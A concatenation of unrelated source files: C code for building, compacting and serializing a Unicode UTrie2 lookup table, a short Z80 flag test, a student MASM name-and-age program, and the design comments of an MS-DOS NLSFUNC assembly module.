utrie2_set32ForLeadSurrogateCodeUnit(UTrie2 *trie,
UChar32 c, uint32_t value,
UErrorCode *pErrorCode) {
if(U_FAILURE(*pErrorCode)) {
return;
}
if(!U_IS_LEAD(c)) {
*pErrorCode=U_ILLEGAL_ARGUMENT_ERROR;
return;
}
set32(trie->newTrie, c, FALSE, value, pErrorCode);
}
static void
writeBlock(uint32_t *block, uint32_t value) {
uint32_t *limit=block+UTRIE2_DATA_BLOCK_LENGTH;
while(block<limit) {
*block++=value;
}
}
/**
* initialValue is ignored if overwrite=TRUE
* @internal
*/
static void
fillBlock(uint32_t *block, UChar32 start, UChar32 limit,
uint32_t value, uint32_t initialValue, UBool overwrite) {
uint32_t *pLimit;
pLimit=block+limit;
block+=start;
if(overwrite) {
while(block<pLimit) {
*block++=value;
}
} else {
while(block<pLimit) {
if(*block==initialValue) {
*block=value;
}
++block;
}
}
}
U_CAPI void U_EXPORT2
utrie2_setRange32(UTrie2 *trie,
UChar32 start, UChar32 end,
uint32_t value, UBool overwrite,
UErrorCode *pErrorCode) {
/*
* repeat value in [start..end]
* mark index values for repeat-data blocks by setting bit 31 of the index values
* fill around existing values if any, if(overwrite)
*/
UNewTrie2 *newTrie;
int32_t block, rest, repeatBlock;
UChar32 limit;
if(U_FAILURE(*pErrorCode)) {
return;
}
if((uint32_t)start>0x10ffff || (uint32_t)end>0x10ffff || start>end) {
*pErrorCode=U_ILLEGAL_ARGUMENT_ERROR;
return;
}
newTrie=trie->newTrie;
if(newTrie==NULL || newTrie->isCompacted) {
*pErrorCode=U_NO_WRITE_PERMISSION;
return;
}
if(!overwrite && value==newTrie->initialValue) {
return; /* nothing to do */
}
limit=end+1;
if(start&UTRIE2_DATA_MASK) {
UChar32 nextStart;
/* set partial block at [start..following block boundary[ */
block=getDataBlock(newTrie, start, TRUE);
if(block<0) {
*pErrorCode=U_MEMORY_ALLOCATION_ERROR;
return;
}
nextStart=(start+UTRIE2_DATA_BLOCK_LENGTH)&~UTRIE2_DATA_MASK;
if(nextStart<=limit) {
fillBlock(newTrie->data+block, start&UTRIE2_DATA_MASK, UTRIE2_DATA_BLOCK_LENGTH,
value, newTrie->initialValue, overwrite);
start=nextStart;
} else {
fillBlock(newTrie->data+block, start&UTRIE2_DATA_MASK, limit&UTRIE2_DATA_MASK,
value, newTrie->initialValue, overwrite);
return;
}
}
/* number of positions in the last, partial block */
rest=limit&UTRIE2_DATA_MASK;
/* round down limit to a block boundary */
limit&=~UTRIE2_DATA_MASK;
/* iterate over all-value blocks */
if(value==newTrie->initialValue) {
repeatBlock=newTrie->dataNullOffset;
} else {
repeatBlock=-1;
}
while(start<limit) {
int32_t i2;
UBool setRepeatBlock=FALSE;
if(value==newTrie->initialValue && isInNullBlock(newTrie, start, TRUE)) {
start+=UTRIE2_DATA_BLOCK_LENGTH; /* nothing to do */
continue;
}
/* get index value */
i2=getIndex2Block(newTrie, start, TRUE);
if(i2<0) {
*pErrorCode=U_INTERNAL_PROGRAM_ERROR;
return;
}
i2+=(start>>UTRIE2_SHIFT_2)&UTRIE2_INDEX_2_MASK;
block=newTrie->index2[i2];
if(isWritableBlock(newTrie, block)) {
/* already allocated */
if(overwrite && block>=UNEWTRIE2_DATA_0800_OFFSET) {
/*
* We overwrite all values, and it's not a
* protected (ASCII-linear or 2-byte UTF-8) block:
* replace with the repeatBlock.
*/
setRepeatBlock=TRUE;
} else {
/* !overwrite, or protected block: just write the values into this block */
fillBlock(newTrie->data+block,
0, UTRIE2_DATA_BLOCK_LENGTH,
value, newTrie->initialValue, overwrite);
}
} else if(newTrie->data[block]!=value && (overwrite || block==newTrie->dataNullOffset)) {
/*
* Set the repeatBlock instead of the null block or previous repeat block:
*
* If !isWritableBlock() then all entries in the block have the same value
* because it's the null block or a range block (the repeatBlock from a previous
* call to utrie2_setRange32()).
* No other blocks are used multiple times before compacting.
*
* The null block is the only non-writable block with the initialValue because
* of the repeatBlock initialization above. (If value==initialValue, then
* the repeatBlock will be the null data block.)
*
* We set our repeatBlock if the desired value differs from the block's value,
* and if we overwrite any data or if the data is all initial values
* (which is the same as the block being the null block, see above).
*/
setRepeatBlock=TRUE;
}
if(setRepeatBlock) {
if(repeatBlock>=0) {
setIndex2Entry(newTrie, i2, repeatBlock);
} else {
/* create and set and fill the repeatBlock */
repeatBlock=getDataBlock(newTrie, start, TRUE);
if(repeatBlock<0) {
*pErrorCode=U_MEMORY_ALLOCATION_ERROR;
return;
}
writeBlock(newTrie->data+repeatBlock, value);
}
}
start+=UTRIE2_DATA_BLOCK_LENGTH;
}
if(rest>0) {
/* set partial block at [last block boundary..limit[ */
block=getDataBlock(newTrie, start, TRUE);
if(block<0) {
*pErrorCode=U_MEMORY_ALLOCATION_ERROR;
return;
}
fillBlock(newTrie->data+block, 0, rest, value, newTrie->initialValue, overwrite);
}
return;
}
/* compaction --------------------------------------------------------------- */
static inline UBool
equal_int32(const int32_t *s, const int32_t *t, int32_t length) {
while(length>0 && *s==*t) {
++s;
++t;
--length;
}
return (UBool)(length==0);
}
static inline UBool
equal_uint32(const uint32_t *s, const uint32_t *t, int32_t length) {
while(length>0 && *s==*t) {
++s;
++t;
--length;
}
return (UBool)(length==0);
}
static int32_t
findSameIndex2Block(const int32_t *idx, int32_t index2Length, int32_t otherBlock) {
int32_t block;
/* ensure that we do not even partially get past index2Length */
index2Length-=UTRIE2_INDEX_2_BLOCK_LENGTH;
for(block=0; block<=index2Length; ++block) {
if(equal_int32(idx+block, idx+otherBlock, UTRIE2_INDEX_2_BLOCK_LENGTH)) {
return block;
}
}
return -1;
}
static int32_t
findSameDataBlock(const uint32_t *data, int32_t dataLength, int32_t otherBlock, int32_t blockLength) {
int32_t block;
/* ensure that we do not even partially get past dataLength */
dataLength-=blockLength;
for(block=0; block<=dataLength; block+=UTRIE2_DATA_GRANULARITY) {
if(equal_uint32(data+block, data+otherBlock, blockLength)) {
return block;
}
}
return -1;
}
/*
* Find the start of the last range in the trie by enumerating backward.
* Indexes for supplementary code points higher than this will be omitted.
*/
static UChar32
findHighStart(UNewTrie2 *trie, uint32_t highValue) {
const uint32_t *data32;
uint32_t value, initialValue;
UChar32 c, prev;
int32_t i1, i2, j, i2Block, prevI2Block, index2NullOffset, block, prevBlock, nullBlock;
data32=trie->data;
initialValue=trie->initialValue;
index2NullOffset=trie->index2NullOffset;
nullBlock=trie->dataNullOffset;
/* set variables for previous range */
if(highValue==initialValue) {
prevI2Block=index2NullOffset;
prevBlock=nullBlock;
} else {
prevI2Block=-1;
prevBlock=-1;
}
prev=0x110000;
/* enumerate index-2 blocks */
i1=UNEWTRIE2_INDEX_1_LENGTH;
c=prev;
while(c>0) {
i2Block=trie->index1[--i1];
if(i2Block==prevI2Block) {
/* the index-2 block is the same as the previous one, and filled with highValue */
c-=UTRIE2_CP_PER_INDEX_1_ENTRY;
continue;
}
prevI2Block=i2Block;
if(i2Block==index2NullOffset) {
/* this is the null index-2 block */
if(highValue!=initialValue) {
return c;
}
c-=UTRIE2_CP_PER_INDEX_1_ENTRY;
} else {
/* enumerate data blocks for one index-2 block */
for(i2=UTRIE2_INDEX_2_BLOCK_LENGTH; i2>0;) {
block=trie->index2[i2Block+ --i2];
if(block==prevBlock) {
/* the block is the same as the previous one, and filled with highValue */
c-=UTRIE2_DATA_BLOCK_LENGTH;
continue;
}
prevBlock=block;
if(block==nullBlock) {
/* this is the null data block */
if(highValue!=initialValue) {
return c;
}
c-=UTRIE2_DATA_BLOCK_LENGTH;
} else {
for(j=UTRIE2_DATA_BLOCK_LENGTH; j>0;) {
value=data32[block+ --j];
if(value!=highValue) {
return c;
}
--c;
}
}
}
}
}
/* deliver last range */
return 0;
}
/*
* Compact a build-time trie.
*
* The compaction
* - removes blocks that are identical with earlier ones
* - overlaps adjacent blocks as much as possible (if overlap==TRUE)
* - moves blocks in steps of the data granularity
* - moves and overlaps blocks that overlap with multiple values in the overlap region
*
* It does not
* - try to move and overlap blocks that are not already adjacent
*/
static void
compactData(UNewTrie2 *trie) {
int32_t start, newStart, movedStart;
int32_t blockLength, overlap;
int32_t i, mapIndex, blockCount;
/* do not compact linear-ASCII data */
newStart=UTRIE2_DATA_START_OFFSET;
for(start=0, i=0; start<newStart; start+=UTRIE2_DATA_BLOCK_LENGTH, ++i) {
trie->map[i]=start;
}
/*
* Start with a block length of 64 for 2-byte UTF-8,
* then switch to UTRIE2_DATA_BLOCK_LENGTH.
*/
blockLength=64;
blockCount=blockLength>>UTRIE2_SHIFT_2;
for(start=newStart; start<trie->dataLength;) {
/*
* start: index of first entry of current block
* newStart: index where the current block is to be moved
* (right after current end of already-compacted data)
*/
if(start==UNEWTRIE2_DATA_0800_OFFSET) {
blockLength=UTRIE2_DATA_BLOCK_LENGTH;
blockCount=1;
}
/* skip blocks that are not used */
if(trie->map[start>>UTRIE2_SHIFT_2]<=0) {
/* advance start to the next block */
start+=blockLength;
/* leave newStart with the previous block! */
continue;
}
/* search for an identical block */
if( (movedStart=findSameDataBlock(trie->data, newStart, start, blockLength))
>=0
) {
/* found an identical block, set the other block's index value for the current block */
for(i=blockCount, mapIndex=start>>UTRIE2_SHIFT_2; i>0; --i) {
trie->map[mapIndex++]=movedStart;
movedStart+=UTRIE2_DATA_BLOCK_LENGTH;
}
/* advance start to the next block */
start+=blockLength;
/* leave newStart with the previous block! */
continue;
}
/* see if the beginning of this block can be overlapped with the end of the previous block */
/* look for maximum overlap (modulo granularity) with the previous, adjacent block */
for(overlap=blockLength-UTRIE2_DATA_GRANULARITY;
overlap>0 && !equal_uint32(trie->data+(newStart-overlap), trie->data+start, overlap);
overlap-=UTRIE2_DATA_GRANULARITY) {}
if(overlap>0 || newStart<start) {
/* some overlap, or just move the whole block */
movedStart=newStart-overlap;
for(i=blockCount, mapIndex=start>>UTRIE2_SHIFT_2; i>0; --i) {
trie->map[mapIndex++]=movedStart;
movedStart+=UTRIE2_DATA_BLOCK_LENGTH;
}
/* move the non-overlapping indexes to their new positions */
start+=overlap;
for(i=blockLength-overlap; i>0; --i) {
trie->data[newStart++]=trie->data[start++];
}
} else /* no overlap && newStart==start */ {
for(i=blockCount, mapIndex=start>>UTRIE2_SHIFT_2; i>0; --i) {
trie->map[mapIndex++]=start;
start+=UTRIE2_DATA_BLOCK_LENGTH;
}
newStart=start;
}
}
/* now adjust the index-2 table */
for(i=0; i<trie->index2Length; ++i) {
if(i==UNEWTRIE2_INDEX_GAP_OFFSET) {
/* Gap indexes are invalid (-1). Skip over the gap. */
i+=UNEWTRIE2_INDEX_GAP_LENGTH;
}
trie->index2[i]=trie->map[trie->index2[i]>>UTRIE2_SHIFT_2];
}
trie->dataNullOffset=trie->map[trie->dataNullOffset>>UTRIE2_SHIFT_2];
/* ensure dataLength alignment */
while((newStart&(UTRIE2_DATA_GRANULARITY-1))!=0) {
trie->data[newStart++]=trie->initialValue;
}
#ifdef UTRIE2_DEBUG
/* we saved some space */
printf("compacting UTrie2: count of 32-bit data words %lu->%lu\n",
(long)trie->dataLength, (long)newStart);
#endif
trie->dataLength=newStart;
}
static void
compactIndex2(UNewTrie2 *trie) {
int32_t i, start, newStart, movedStart, overlap;
/* do not compact linear-BMP index-2 blocks */
newStart=UTRIE2_INDEX_2_BMP_LENGTH;
for(start=0, i=0; start<newStart; start+=UTRIE2_INDEX_2_BLOCK_LENGTH, ++i) {
trie->map[i]=start;
}
/* Reduce the index table gap to what will be needed at runtime. */
newStart+=UTRIE2_UTF8_2B_INDEX_2_LENGTH+((trie->highStart-0x10000)>>UTRIE2_SHIFT_1);
for(start=UNEWTRIE2_INDEX_2_NULL_OFFSET; start<trie->index2Length;) {
/*
* start: index of first entry of current block
* newStart: index where the current block is to be moved
* (right after current end of already-compacted data)
*/
/* search for an identical block */
if( (movedStart=findSameIndex2Block(trie->index2, newStart, start))
>=0
) {
/* found an identical block, set the other block's index value for the current block */
trie->map[start>>UTRIE2_SHIFT_1_2]=movedStart;
/* advance start to the next block */
start+=UTRIE2_INDEX_2_BLOCK_LENGTH;
/* leave newStart with the previous block! */
continue;
}
/* see if the beginning of this block can be overlapped with the end of the previous block */
/* look for maximum overlap with the previous, adjacent block */
for(overlap=UTRIE2_INDEX_2_BLOCK_LENGTH-1;
overlap>0 && !equal_int32(trie->index2+(newStart-overlap), trie->index2+start, overlap);
--overlap) {}
if(overlap>0 || newStart<start) {
/* some overlap, or just move the whole block */
trie->map[start>>UTRIE2_SHIFT_1_2]=newStart-overlap;
/* move the non-overlapping indexes to their new positions */
start+=overlap;
for(i=UTRIE2_INDEX_2_BLOCK_LENGTH-overlap; i>0; --i) {
trie->index2[newStart++]=trie->index2[start++];
}
} else /* no overlap && newStart==start */ {
trie->map[start>>UTRIE2_SHIFT_1_2]=start;
start+=UTRIE2_INDEX_2_BLOCK_LENGTH;
newStart=start;
}
}
/* now adjust the index-1 table */
for(i=0; i<UNEWTRIE2_INDEX_1_LENGTH; ++i) {
trie->index1[i]=trie->map[trie->index1[i]>>UTRIE2_SHIFT_1_2];
}
trie->index2NullOffset=trie->map[trie->index2NullOffset>>UTRIE2_SHIFT_1_2];
/*
* Ensure data table alignment:
* Needs to be granularity-aligned for 16-bit trie
* (so that dataMove will be down-shiftable),
* and 2-aligned for uint32_t data.
*/
while((newStart&((UTRIE2_DATA_GRANULARITY-1)|1))!=0) {
/* Arbitrary value: 0x3fffc not possible for real data. */
trie->index2[newStart++]=(int32_t)0xffff<<UTRIE2_INDEX_SHIFT;
}
#ifdef UTRIE2_DEBUG
/* we saved some space */
printf("compacting UTrie2: count of 16-bit index-2 words %lu->%lu\n",
(long)trie->index2Length, (long)newStart);
#endif
trie->index2Length=newStart;
}
static void
compactTrie(UTrie2 *trie, UErrorCode *pErrorCode) {
UNewTrie2 *newTrie;
UChar32 highStart, suppHighStart;
uint32_t highValue;
newTrie=trie->newTrie;
/* find highStart and round it up */
highValue=utrie2_get32(trie, 0x10ffff);
highStart=findHighStart(newTrie, highValue);
highStart=(highStart+(UTRIE2_CP_PER_INDEX_1_ENTRY-1))&~(UTRIE2_CP_PER_INDEX_1_ENTRY-1);
if(highStart==0x110000) {
highValue=trie->errorValue;
}
/*
* Set trie->highStart only after utrie2_get32(trie, highStart).
* Otherwise utrie2_get32(trie, highStart) would try to read the highValue.
*/
trie->highStart=newTrie->highStart=highStart;
#ifdef UTRIE2_DEBUG
printf("UTrie2: highStart U+%04lx highValue 0x%lx initialValue 0x%lx\n",
(long)highStart, (long)highValue, (long)trie->initialValue);
#endif
if(highStart<0x110000) {
/* Blank out [highStart..10ffff] to release associated data blocks. */
suppHighStart= highStart<=0x10000 ? 0x10000 : highStart;
utrie2_setRange32(trie, suppHighStart, 0x10ffff, trie->initialValue, TRUE, pErrorCode);
if(U_FAILURE(*pErrorCode)) {
return;
}
}
compactData(newTrie);
if(highStart>0x10000) {
compactIndex2(newTrie);
#ifdef UTRIE2_DEBUG
} else {
printf("UTrie2: highStart U+%04lx count of 16-bit index-2 words %lu->%lu\n",
(long)highStart, (long)trie->newTrie->index2Length, (long)UTRIE2_INDEX_1_OFFSET);
#endif
}
/*
* Store the highValue in the data array and round up the dataLength.
* Must be done after compactData() because that assumes that dataLength
* is a multiple of UTRIE2_DATA_BLOCK_LENGTH.
*/
newTrie->data[newTrie->dataLength++]=highValue;
while((newTrie->dataLength&(UTRIE2_DATA_GRANULARITY-1))!=0) {
newTrie->data[newTrie->dataLength++]=trie->initialValue;
}
newTrie->isCompacted=TRUE;
}
/* serialization ------------------------------------------------------------ */
/**
* Maximum length of the runtime index array.
* Limited by its own 16-bit index values, and by uint16_t UTrie2Header.indexLength.
* (The actual maximum length is lower,
* (0x110000>>UTRIE2_SHIFT_2)+UTRIE2_UTF8_2B_INDEX_2_LENGTH+UTRIE2_MAX_INDEX_1_LENGTH.)
*/
#define UTRIE2_MAX_INDEX_LENGTH 0xffff
/**
* Maximum length of the runtime data array.
* Limited by 16-bit index values that are left-shifted by UTRIE2_INDEX_SHIFT,
* and by uint16_t UTrie2Header.shiftedDataLength.
*/
#define UTRIE2_MAX_DATA_LENGTH (0xffff<<UTRIE2_INDEX_SHIFT)
/* Compact and internally serialize the trie. */
U_CAPI void U_EXPORT2
utrie2_freeze(UTrie2 *trie, UTrie2ValueBits valueBits, UErrorCode *pErrorCode) {
UNewTrie2 *newTrie;
UTrie2Header *header;
uint32_t *p;
uint16_t *dest16;
int32_t i, length;
int32_t allIndexesLength;
int32_t dataMove; /* >0 if the data is moved to the end of the index array */
UChar32 highStart;
/* argument check */
if(U_FAILURE(*pErrorCode)) {
return;
}
if( trie==NULL ||
valueBits<0 || UTRIE2_COUNT_VALUE_BITS<=valueBits
) {
*pErrorCode=U_ILLEGAL_ARGUMENT_ERROR;
return;
}
newTrie=trie->newTrie;
if(newTrie==NULL) {
/* already frozen */
UTrie2ValueBits frozenValueBits=
trie->data16!=NULL ? UTRIE2_16_VALUE_BITS : UTRIE2_32_VALUE_BITS;
if(valueBits!=frozenValueBits) {
*pErrorCode=U_ILLEGAL_ARGUMENT_ERROR;
}
return;
}
/* compact if necessary */
if(!newTrie->isCompacted) {
compactTrie(trie, pErrorCode);
if(U_FAILURE(*pErrorCode)) {
return;
}
}
highStart=trie->highStart;
if(highStart<=0x10000) {
allIndexesLength=UTRIE2_INDEX_1_OFFSET;
} else {
allIndexesLength=newTrie->index2Length;
}
if(valueBits==UTRIE2_16_VALUE_BITS) {
dataMove=allIndexesLength;
} else {
dataMove=0;
}
/* are indexLength and dataLength within limits? */
if( /* for unshifted indexLength */
allIndexesLength>UTRIE2_MAX_INDEX_LENGTH ||
/* for unshifted dataNullOffset */
(dataMove+newTrie->dataNullOffset)>0xffff ||
/* for unshifted 2-byte UTF-8 index-2 values */
(dataMove+UNEWTRIE2_DATA_0800_OFFSET)>0xffff ||
/* for shiftedDataLength */
(dataMove+newTrie->dataLength)>UTRIE2_MAX_DATA_LENGTH
) {
*pErrorCode=U_INDEX_OUTOFBOUNDS_ERROR;
return;
}
/* calculate the total serialized length */
length=sizeof(UTrie2Header)+allIndexesLength*2;
if(valueBits==UTRIE2_16_VALUE_BITS) {
length+=newTrie->dataLength*2;
} else {
length+=newTrie->dataLength*4;
}
trie->memory=uprv_malloc(length);
if(trie->memory==NULL) {
*pErrorCode=U_MEMORY_ALLOCATION_ERROR;
return;
}
trie->length=length;
trie->isMemoryOwned=TRUE;
trie->indexLength=allIndexesLength;
trie->dataLength=newTrie->dataLength;
if(highStart<=0x10000) {
trie->index2NullOffset=0xffff;
} else {
trie->index2NullOffset=UTRIE2_INDEX_2_OFFSET+newTrie->index2NullOffset;
}
trie->dataNullOffset=(uint16_t)(dataMove+newTrie->dataNullOffset);
trie->highValueIndex=dataMove+trie->dataLength-UTRIE2_DATA_GRANULARITY;
/* set the header fields */
header=(UTrie2Header *)trie->memory;
header->signature=UTRIE2_SIG; /* "Tri2" */
header->options=(uint16_t)valueBits;
header->indexLength=(uint16_t)trie->indexLength;
header->shiftedDataLength=(uint16_t)(trie->dataLength>>UTRIE2_INDEX_SHIFT);
header->index2NullOffset=trie->index2NullOffset;
header->dataNullOffset=trie->dataNullOffset;
header->shiftedHighStart=(uint16_t)(highStart>>UTRIE2_SHIFT_1);
/* fill the index and data arrays */
dest16=(uint16_t *)(header+1);
trie->index=dest16;
/* write the index-2 array values shifted right by UTRIE2_INDEX_SHIFT, after adding dataMove */
p=(uint32_t *)newTrie->index2;
for(i=UTRIE2_INDEX_2_BMP_LENGTH; i>0; --i) {
*dest16++=(uint16_t)((dataMove + *p++)>>UTRIE2_INDEX_SHIFT);
}
/* write UTF-8 2-byte index-2 values, not right-shifted */
for(i=0; i<(0xc2-0xc0); ++i) { /* C0..C1 */
*dest16++=(uint16_t)(dataMove+UTRIE2_BAD_UTF8_DATA_OFFSET);
}
for(; i<(0xe0-0xc0); ++i) { /* C2..DF */
*dest16++=(uint16_t)(dataMove+newTrie->index2[i<<(6-UTRIE2_SHIFT_2)]);
}
if(highStart>0x10000) {
int32_t index1Length=(highStart-0x10000)>>UTRIE2_SHIFT_1;
int32_t index2Offset=UTRIE2_INDEX_2_BMP_LENGTH+UTRIE2_UTF8_2B_INDEX_2_LENGTH+index1Length;
/* write 16-bit index-1 values for supplementary code points */
p=(uint32_t *)newTrie->index1+UTRIE2_OMITTED_BMP_INDEX_1_LENGTH;
for(i=index1Length; i>0; --i) {
*dest16++=(uint16_t)(UTRIE2_INDEX_2_OFFSET + *p++);
}
/*
* write the index-2 array values for supplementary code points,
* shifted right by UTRIE2_INDEX_SHIFT, after adding dataMove
*/
p=(uint32_t *)newTrie->index2+index2Offset;
for(i=newTrie->index2Length-index2Offset; i>0; --i) {
*dest16++=(uint16_t)((dataMove + *p++)>>UTRIE2_INDEX_SHIFT);
}
}
/* write the 16/32-bit data array */
switch(valueBits) {
case UTRIE2_16_VALUE_BITS:
/* write 16-bit data values */
trie->data16=dest16;
trie->data32=NULL;
p=newTrie->data;
for(i=newTrie->dataLength; i>0; --i) {
*dest16++=(uint16_t)*p++;
}
break;
case UTRIE2_32_VALUE_BITS:
/* write 32-bit data values */
trie->data16=NULL;
trie->data32=(uint32_t *)dest16;
uprv_memcpy(dest16, newTrie->data, newTrie->dataLength*4);
break;
default:
*pErrorCode=U_ILLEGAL_ARGUMENT_ERROR;
return;
}
/* Delete the UNewTrie2. */
uprv_free(newTrie->data);
uprv_free(newTrie);
trie->newTrie=NULL;
}
/*
* This is here to avoid a dependency from utrie2.cpp on utrie.c.
* This file already depends on utrie.c.
* Otherwise, this should be in utrie2.cpp right after utrie2_swap().
*/
U_CAPI int32_t U_EXPORT2
utrie2_swapAnyVersion(const UDataSwapper *ds,
const void *inData, int32_t length, void *outData,
UErrorCode *pErrorCode) {
if(U_SUCCESS(*pErrorCode)) {
switch(utrie2_getVersion(inData, length, TRUE)) {
case 1:
return utrie_swap(ds, inData, length, outData, pErrorCode);
case 2:
return utrie2_swap(ds, inData, length, outData, pErrorCode);
default:
*pErrorCode=U_INVALID_FORMAT_ERROR;
return 0;
}
}
return 0;
}
|
; Flag testing
org &8000
LD A,&FA
LD B,&0F
ADD B
HALT
|
;CPSC 232 - Program #1
include irvine32.inc
.data
str0 byte "CPSC 232 - Program #1",0ah,0dh,0
str1 byte "Enter Your name >> ",0
str3 byte "Enter Your Age >> ",0
str4 byte "Your name is: ", 0
str5 byte "Your age is: ", 0
str2 byte 20 DUP(?)
num byte ?
str_size = 20
.code
main proc
mov edx, offset str0
call WriteString
call Crlf
;Print a message to user
mov edx,offset str1
call WriteString
;Entering a string
mov edx, offset str2
mov ecx, str_size
call ReadString
;Print message to user
mov edx, offset str3
call WriteString
;Reading the age
call ReadInt
mov num, al
call Crlf
;Print message to user
mov edx, offset str4
call WriteString
mov edx, offset str2
call WriteString
call Crlf
;Print message to user
mov edx, offset str5
call WriteString
mov al, num
call WriteDec
call Crlf
exit
main endp
end main |
PAGE ,132 ;
TITLE NLSFUNC - GET/SET CP & COUNTRY INFO CHCP SUPPORT
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1991
; * All Rights Reserved.
; */
;**************************************************************************
;This is the NLSFUNC int2f command that supports the INT21h functions
;Get_Extended Country Information and the Set_codepage...
;NLSFUNC will read the COUNTRY.SYS information from disk , store the
;data in a buffer , then move the information into a buffer
;area specified by DOS.
;d:NLSFUNC {path}
; *
;CHECKINSTALL: *
;CheckRequest proc *
; If installed previously *
; report back error already installed and exit *
; otherwise goto install *
;Checkrequest endp *
;*************************************************************************
; NEW CODE *
;*************************************************************************
subttl get extended country data
page
;
;***************************************
;* Process_Path Procedure *
;***************************************
;* CALL SYSLOADMSG *
;* Do DOS Version check *
;* If ne X.X then (carry set) *
;* CALL SYSDISPLAY_MSG *
;* DISPLAY_MSG(Message number 001) *
;* (001 - Incorrect DOS Version) *
;* (Class 3 - Utility Msg) *
;* exit *
;* else *
;* Establish addressability *
;* to command line parms (DS:SI) *
;* Establish addressability to PARM *
;* control block (ES:DI) *
;* *
;* Call SYSPARSE for filename *
;* GET Parse Block results *
;* IF PARSE_ERROR *
;* CALL SYSDISPLAY_MSG (Class 2)*
;* DISPLAY_MSG = PARSE_NUM *
;* ELSE *
;* SUCCESSFUL_PARSE (0 or -1) *
;* ENDIFELSE *
;* GET_PARSE_RESULTS Path_Spec *
;* IF No path exist then *
;* assume current directory *
;* assume default filename *
;* ENDIF *
;* IF No Drive exist then *
;* Use Current Drive *
;* ENDIF *
;* IF No filename exist then *
;* assume default filename *
;* and concatenate with drive *
;* ENDIF *
;* CHECK_PATH *
;* IF PATH EXIST THAN *
;* INSTALL_NLS (NLS_RESCODE) *
;* ENDIF *
;* ELSE NOT PATH_EXIST THAN *
;* GET_PARSE_RESULTS (Class 3) *
;* PASS_TO_MSGTXT (Message 003) *
;* (File not found %1) *
;* ERR_CODE SET TO 2 *
;* EXIT *
;* ENDIFELSE *
;* *
;* INSTALL_NLS *
;* CHECK INSTALL FLAG *
;* IF INSTALLED *
;* (Class 3) *
;* PASS_TO_MGSTXT (Msg 002) *
;* %1 already installed *
;* ELSE *
;* HOOK IN CODE *
;* TERMINATE & STAY RESIDENT *
;* ENDIFELSE *
;* *
;* *
;* EXIT *
;* CHECK FOR ERRORCODE *
;* exit to DOS *
;***************************************
;
;INSTALL:
; Get the current 2f handler in the chain
; make it the next install my handler in the
; beginning of the the chain using get interrupt (25)
; and set interrupt (35); Once in the chain
; terminate and stay resident.
;
;DOS NEEDS ME.......
;
;Install Dos Interface Logic
; Dos issues Call Install
; Establish residency
; If Mult Id is mine (* NLSFUNC*)
; CheckInstall Status to see if installed or not
; otherwise
; jump to the next 2f handler
;CheckInstall
; If not installed returns
; If installed program is executed (*NLSFUNC resident portion *)
;*******************************************************************************
;
;Program Logic
;
; Check to make sure not reserved DOS number in the al
;
; Go establish which function is to be performed
;
;Sel_Func proc
; mov FUNC_CODE,al
; case
; function code = 0
; function code = 1
; function code = 2
; function code = 3
; function code = 4
; otherwise error_routine
; return
;Sel_Func endp
;funcode0 proc
;INSTALL NLSFUNC must be installed in mem
; return 0FFh that I am installed
;funcode0 endp
;funcode1 proc
; (* Means Set codepage and "select" device drivers*)
; same at funcode 3 plus device drivers are invoked with the
; specified code page.
;funcode1 endp
;funcode2 proc
; (* Get_extended_country info issued by DOS not in buffer*)
; BP = info_type
; call trans_Cty_Data Proc
; return
;funcode2 endp
;funcode3 proc
; (* Means Set codepage *)
; On entry DOS gives me the CODEP in BX & the CC in DX,SIZE in CX
; Search for Country.sys file on disk
; if file is found }BUFFER will exist in code 320 (can be altered)
; the control buffer = 64 bytes of the buffer
; the data buffer = 256 bytes of the buffer
; call Trans_Cty_Data Proc
; otherwise return an error flag
; return
;funcode3 endp
;funcode4 proc
; (* Get_extended_country info - old 38 call*)
; set flag and same as funcode 2
; data returned slightly Revised
;funcode4 endp
; ****************************
; if selected is FUNCTION 1, 3
; PassDOS_Data(*ES:DI*)
; otherwise FUNCTION 2, 4
; Get the INFO ID
; Flag that it is function 2
; PassUserData(*ES:DI*)
; mov NO_ERRORS to ERROR_FLAG
; ****************************
;Trans_Cty_Data Proc
; Open file(Dos call back 38)
; Do an LSEEK to move CTY_INFO into NLSFUNC control buffer 39
; Do an LSEEK to move tables into NLSFUNC data buffer 39
; if R/W pointer ok on Disk
; Read the file(Dos call back 38)
; Check to see if it is FUNCTION 1 or FUNCTION 2
; Flag if FUNCTION 2
; if FUNCTION 2
; Search for user specified INFO ID
; until found or report back error to DOS & exit
; if INFO ID is found
; godo move the data and set the counter to zero (entry value)
;
;
;
;
;MOVE_DATA: Manage transfer from disk to buffer
; Check to see if entire entry can fit in to the data
; buffer if not read the maximum allowed into buffer
; Check to see what is left to read; read until no more
; Search for appropriate field in the DOS INFO
; if found move in info until complete
; get the next entry until number of entries is 0
; otherwise
; report to DOS error and exit
; loop back to read file until (all entries are Obtained) or (EOF)
; Close file handle (Dos call back 40)
; otherwise mov 05h to error_flag & jump to error_routine
;
; return
;Trans ENDP
;
;
;Error_routine proc
; mov al,error_flag
; return
;error_routine endp
;*******************************************************************************
;**********************************INTRO****************************************
subttl Revision History
page
;****************************** Revision History *************************** ;
;
; =A 7/29/86 RG PTM P64
; Prevent overwrite of DOS monocase routine entry point during
; transfer of SetCountryInfo.
; For Get Ext Cty Info, put DOS monocase routine entry point into
; user buffer.
;
; =B 7/29/86 RG PTM P67
; Correct jump condition in ERROR_ROUTINE of NLSRES_CODE.
; This prevents exit without COUNTRY.SYS file close.
;
; =C 7/30/86 RG PTM P85
; Preserve ES register in NLSFUNC for IBMDOS.
;
; =D 7/31/86 RG PTM P86
; Corrects information put into user buffer for Get Extended
; Country Information.
;
; =E 7/31/85 RG DCR 18
; CHCP support.
;
; =F 8/4/86 RG
; Get Country Info - Revised info from Get Extended Country Info
;
; =G 8/5/86 RG
; Correct carry set for good exit.
;
; =H 8/5/86 RG
; Start extended info at length instead of signature.
;
; =FC 8/14/86 FChen
; Insert code for control buff management and actual length retunred
;
; =I 8/20/86 RG
; Improve path parameter parsing.
;
; =J 8/22/86 RG
; Change error codes
;
; =K 8/28/86 RG
; 65 call-get ext cty info put final csize (# bytes returned)
; in cx on iret ;
;
; =L 11/7/86 RG
; Set error to INVALID DATA (13) on no cp/cty match.
;
; =M 05/20/87 CNS
; Additional re-design for structured code using STRUC
; PARSER implementation
; Message Retriever implementation
; DBCS Support for Environmental Vector recognition (Walk Devices& IOCTL call)
; Enable the Interrupt when NLSFUNC is loaded PTM ???
;
;AN001; P2685 NLSFUNC should not visit the same device repeatedly. 01/15/88 J.K.
;AN002; P3934 Bad write on sacred DOS area - segmentation incorrect 03/22/88 CNS
;*******************************************************************************
subttl macros
page
